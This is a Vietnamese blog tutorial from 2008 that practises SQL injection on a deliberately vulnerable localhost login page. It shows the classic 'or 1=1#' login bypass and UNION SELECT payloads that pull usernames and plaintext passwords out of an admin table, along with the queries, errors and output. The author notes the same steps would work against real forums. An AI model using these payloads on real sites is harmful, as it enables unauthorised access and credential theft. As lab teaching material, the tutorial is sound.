Trang chủ > Uncategorized > Thực hành SQL injection trên localhost

Thực hành SQL injection trên localhost

Tháng Sáu 13, 2008 vuau

Mọi người Download file này về và chạy trên localhost (nếu sợ có mã độc thì có thể xem mã nguôn trước).

Hướng dẫn bypass và lấy user+pass của members trong CSDL của trang mắc lỗi:

Để có thể hiểu được nội dung của bài thực hành này. Bạn cần có hiểu biết chút ít về câu lệnh SQL và một đầu óc biết duy luận.
Bạn mở IE (hoặc FF – FireFox) lên gõ vào địa chỉ: http://localhost/login.php?install=1 để cài đặt CSDL.

Ở ô Server: Localhost (Server mà bạn dùng)
Ở ô Username: username của mysql mà bạn dùng (thường là root)
ở ô Password: mật khẩu truy cập vào CSDL (thường để trống)

Nhấn Install

Nếu hiện ra dòng:

Code
Cài đặt thành công. Hãy bấm vào [url=http://localhost/login.php]đây[/url] để chạy chương trình.


thì tức là quá trình cài đặt thành công.
Chúng ta bắt đầu hack thôi… 59.gif

Bây giờ chúng ta chưa có username và password của các thành viên chứa trong CSDL mà muốn bypass (không cần username và pass mà vẫn login hợp lệ). OKies gõ đại vô đó 1 user và 1 pass. Tất nhiên dòng thông báo đăng nhập thất bại sẽ hiện ra 12.gif và dòng phía dưới là dòng lệnh truy vấn SQL mà trong lúc Code mình viết vào cho các bạn dễ hình dung thôi chứ các forum hay web thật không bao giờ hiển thị các thông tin “nhạy cảm” đó.
Giả sử tôi mình đánh user ở đây là: hacker và pass cũng là hacker. Login thử ooop.

Code
Đăng nhập thất bại


Bạn có thể thấy rõ dòng query là:

Code
SELECT * FROM `ADMIN` WHERE `USERNAME`=’hacker’ and `PASSWORD`=’hacker’


chứng tỏ trong CSDL không hề có user là hacker với pass: hacker
Nhưng chúng ta là hacker (tất nhiên không phải theo nghĩa gốc của nó 65.gif ) thì đó không phải là vấn đề, chúng ta sẽ lấy hết user và pass trên trang này vì nó đã bị lỗi, chúng ta biết điều đó, oki, đánh user (hoặc pass) là:

Code


nhấn login ooooops.

Code
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”” and `PASSWORD`=”’ at line 1


vậy là trang này đinh SQL INJECTION, chúng ta bắt đầu khai thác:
đánh vào user:

Code
anything’ or 1=1#


pass có thể để trống hoặc bât cứ cái gì. Nhấn login và:

Code
Bạn đã đăng nhập thành công bạn là: nguyenbinh07


kekekeke ===> chúng ta đã bypass được 16.gif
nếu đây là 1 forum thực sự thì bạn đã đăng nhập được dưới danh nghĩa là 1 user bất kỳ mà rất có thể là admin luôn vì admin thường nằm ở dòng đầu trong bảng CSDL.
dòng

Code
‘ or 1=1#

là dòng kinh điển để kiểm tra xem trang đó có thể bypass được không.
Các bạn có thể thấy dòng query:

Code
SELECT * FROM `ADMIN` WHERE `USERNAME`=’anything’ or 1=1#’ and `PASSWORD`=”


sẽ lựa chọn mọi thứ từ CSDL. Vì sao? 39.gif . mình sẽ “dịch thử” ngôn ngữ SQL này qua ngôn ngữ tiếng việt:

Code
lựa chọn bất cứ dòng nào trong bảng có tên là `Admin` mà có USERNAME là ‘anything’ hoặc 1=1


tiếp theo là một dấu thăng nghĩa là mọi thứ đằng sau đều được coi là chú thích và sẽ bị bỏ qua, có thể một số trường hợp dâu # được thay bằng hai dấu gạch ngang (–) nhưng cái đó chúng ta không quan tâm, điều mấu chốt ở đây là vì sao chúng ta có thể bypass?
Như dòng trên mình đã “dịch” sang tiếng việt, dòng truy vấn sẽ lựa chọn mọi dòng mà có User=’anything’ hoặc 1=1. 1=1 là điều đương nhiên cái này ai cũng biết, còn username có thể là bất cứ username nào có trong CSDL nhưng dù username là gì đây nữa thì mệnh đề

Code
Username=’bất cứ cái gì’ hoặc 1=1


luôn trả về giá trị đúng, cái này chắc khi vào học lập trình các bạn cũng biết mệnh đề OR sẽ đúng khi 1 trong 2 vế là đúng, ở đây 1=1 là vế đúng nên dù username có tồn tại trong bảng hay không thì mệnh đề luôn trả về giá trị đúng như vậy câu lệnh trên sẽ trả về 1 hoặc nhiều dòng trong bảng và thường thì coder sẽ dựa vào dòng đầu tiên để lấy thông tin khi login vào được.

Như vậy, (tôi hi vọng) các bạn đã hiểu vì sao chúng ta có thể bypass.

Bây giờ chúng ta sẽ lần lượt lấy hết User và pass có trong CSDL.
Vào lại trang login. vì trang này bị SQL Injection nên chúng ta có thể cho chạy bất cứ câu lệnh nào.
bây giờ dùng lệnh union (thực sự vì mới học nên mình vẫn chưa hiểu lắm lệnh này, nhờ các pro chỉ giúp)
nhập vào ô username (hoặc password):

Code
‘union select 1 from admin#


‘admin’ ở đây là tên bảng chứa thông tin của user, trong thực tập thì cái này mình phải đoán thôi vì toàn gặp các trang bị lỗi JET DATABASE, còn nếu CSDL là My SQL thì cái này có thể lấy được (mình sẽ nói sau vì bây giờ khuya rồi).
Login, và gặp lỗi:

Code
The used SELECT statements have a different number of columns


lỗi này có nghĩa là tên bảng đúng nhưng không đúng số cột. okies, thêm cột vào cho nó. trở lại trang login và đánh user là:

Code
‘union select 1,2 from admin#


login
vẫn lỗi trên, vậy tiếp tục thêm cột

Code
‘union select 1,2,3 from admin#


login

Code
Bạn đã đăng nhập thành công bạn là: 2


như vậy câu lệnh union đã hợp lệ (vì chưa hiểu về lệnh này lắm nên không giải thích được vì sao hợp lệ nhưng các bạn cứ tạm chấp nhận là nó hợp lệ, sau này tìm hiếu sau)
lỗi báo là bạn là: 2. như vậy bạn thay số 2 bằng username (username là tên của 1 cột chứa username ngừoi dùng trong bảng ở CSDL cái này ở JET Database cũng phải đoán thôi còn mysql thì có thể lấy được bằng lệnh mà mình sẽ nói ở bài sau)

Code
‘union select 1,username,3 from admin#


login

Code
Bạn đã đăng nhập thành công bạn là: nguyenbinh07


vậy username của anh số 1 là: nguyenbinh07, bắt đầu lấy pass:
thay username bằng password trong ô username ta có:

Code
‘union select 1,password,3 from admin#


(password trong dòng trên là cột lưu pass của các thành viên)
ấn login

Code
Bạn đã đăng nhập thành công bạn là: admin


trang này không mã hóa mật khẩu (may quá) vậy pass của nguyenbinho7 là admin.
tiếp bạn sẽ lấy hết user và pass

Code
‘union select 1,username,3 from admin where id=2#


login vào

Code
Bạn đã đăng nhập thành công bạn là: admin


vậy user tiếp theo là: admin
trở lại trang login (back)
gõ vào ô username (hoặc pass)

Code
‘union select 1,password,3 from admin where id=2#


nhấn login

Code
Bạn đã đăng nhập thành công bạn là: a4d1min


vậy pass là: a4d1min
cứ tăng số id và thay đổi cột username bằng password, bạn lần lượt lấy hết username và password của các thành viên và tất nhiên cả admin nữa, bây giờ bạn có thể đăng nhập vào trang này bằng bất cứ tài khoản nào mà bạn vừa lấy được (trong CSDL mình tạo 3 tài khoản).

Categories: Uncategorized
  1. hao
    Tháng tám 21, 2008 lúc 12:00 chiều | #1

    anh ơi sao cái dòng anything’ or 1=1# em gõ nó báo thất bài

Bình luận đã được đóng.